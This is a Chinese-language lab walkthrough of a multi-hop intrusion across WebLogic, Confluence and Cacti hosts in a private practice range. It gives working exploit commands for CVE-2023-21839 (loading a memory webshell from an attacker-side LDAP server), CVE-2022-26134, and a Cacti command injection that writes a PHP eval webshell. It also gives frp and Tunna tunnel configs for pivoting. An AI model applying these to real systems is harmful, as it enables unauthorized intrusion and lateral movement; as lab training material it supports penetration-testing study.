Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场
靶场
- weblogic - confluence - cacti
与实际区别
- 没有太多限制,没有杀软、waf
- 靶场每个机器都是跨网段机器
- 靶场中机器数和种类很少的多,网络复杂性低很多
- 靶场中没有蜜罐,不需要考虑被溯源
1.网络边界Weblogic
通过外部信息收集发现其在 192 网段机器上开放 7001 端口为 weblogic 服务
拿shell
使用 poc 打入冰蝎内存马
./CVE-2023-21839 -ip 192.168.186.143 -port 7001 -ldap ldap://192.168.186.1:1389/Basic/WeblogicMemshell1
# filter 内存马
# https://github.com/Jeromeyoung/JNDIExploit-1
其中 jndiExploit 支持普通shell和冰蝎马,冰蝎马连接需要小改一下冰蝎客户端,参考链接:
- 冰蝎改造之适配基于tomcat Filter的无文件webshell
- 改造冰蝎客户端适配JNDIExploit的内存马
- JNDIExploit工具冰蝎内存马连接
测试
http://192.168.186.143:7001/console/login/LoginForm.jsp?type=basic&pass=whoami
使用修改后的冰蝎连接内存马,在访问时需要添加 X-Options-Ai
头部,密码为rebeyond
经过简单信息收集发现其有两个网卡,存在一个内网段 10.10.20.12/24
systeminfo 发现其为一台 Windows Server2012 R2 机器,有几种思路
- 直接搭建隧道代理去横向移动
- 利用漏洞新建 Windows 用户,使用3389远程桌面连接
- 抓取密码使用 RDP 远程桌面,但是 2012 直接使用 mimikatz 抓不出来密码,需要修改注册表强制锁屏等待管理员登陆
搭建frp反向代理
这里我们使用物理机来代替 vps,使用 frp 搭建反向代理,首先通过冰蝎上传 frpc 客户端,在虚拟终端执行
这里配置文件 frpc.ini
[common]
server_addr = 192.168.186.1 #远程 vps IP
server_port = 7891
[http_proxy]
type = tcp
local_ip = 10.10.10.131 #本机内网IP
remote_port = 1234
local_port = 1234
plugin = socks5
在 vps 启动 frps
Frps 其配置文件为
[common]
bind_port = 7891
bind_addr = 0.0.0.0
然后使用 proxifier 代理软件,将 frp 代理设置为全局代理,方便我们使用浏览器访问,首先添加代理服务器,IP 设置为 192.168.186.1 因为是本地或者设置 0.0.0.0 也可以
然后添加代理规则,指定访问 10.10.10.* 的流量走 frp 代理
这样我们就可以在浏览器直接访问 10.10.10.130:8090 了
连接过程示意如下:
2.内网confluence
拿shell
java -jar CVE-2022-26134.jar http://10.10.10.130:8090 pass key
打入内存马击中上线哥斯拉(下图IP应为10.10.10.130:8090)
通过信息收集发现其还存在另外一个网段 10.0.0.*
搭建frp反向代理
因为目标机器除 8090 端口可以正常双向通信外,其他端口只出不进,这样的话我们可以再搭建一层 frp 隧道,在 confluence 机器作为 frpc, Windows Weblogic 作为 frps
使用哥斯拉上传 frpc,但是一直上传不上去,怀疑是哥斯拉连接时设置了 Connection: close 导致,这样尝试将 frpc 分段上传,共19个文件
# 压缩并分段
tar -czvf - frpc | split -b 250K - frpc.tar.
将文件上传至 confluence 服务器,使用命令组合并解压文件
cat frpc.tar.* | tar -zxv
上传 frpc.ini 配置文件,修改如下
[common]
server_addr = 10.10.10.132
server_port = 7892
[http_proxy]
type = tcp
local_ip = 127.0.0.1
local_port = 2345
remote_port = 2345
plugin = socks5
WebLogic fps.ini
配置文件如下
[common]
bind_port = 7892
bind_addr = 0.0.0.0
启动之后,在物理机客户端配置 proxifier 代理,首先添加代理服务器,然后添加代理链
然后添加一条代理规则
之后就可以使用浏览器去访问 10.0.0.131/cacti 服务
下图为目前环境
3.内网cacti
拿shell
使用 cve 写入哥斯拉 webshell
http://10.0.0.131/cacti/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`echo "PD9waHAgZXZhbCgkX1BPU1RbInBhc3MiXSk7" | base64 -d >2.php`
# <?php eval($_POST["pass"]);
使用哥斯拉连接
经过信息收集发现其有两张网卡
搭建http正向代理
经测试,该机器只有 80 端口可以双向通信,可以搭建基于 http 的正向代理隧道,访问 10.0.10.* 网段
使用 python -V 命令发现 confluence 机器上的 python 版本为 2.7.5 隧道代理工具可以选择 httptunnel:https://github.com/SECFORCE/Tunna
首先将 php 的 payload 上传至 cacti 目录下
在 confluence 哥斯拉上传 tunnel 文件
使用命令启动
python proxy.py -u http://10.0.0.131/cacti/conn.php -l 5794
连接远程 php 文件,开启正向代理,将 confluence 机器的 5794 端口作为 socks 转发
接下来还是配置物理机 proxifier ,首先增加代理服务器和代理链,这里我添加了一个新的代理链,方便排错,其中 10.0.0.132 confluence IP
添加规则,将通向 10.0.10.x 的流量走新的代理链路
开启代理前是无法正常访问 10.0.10.129 的,开启代理后可以访问,如下图
最终网络代理情况如下图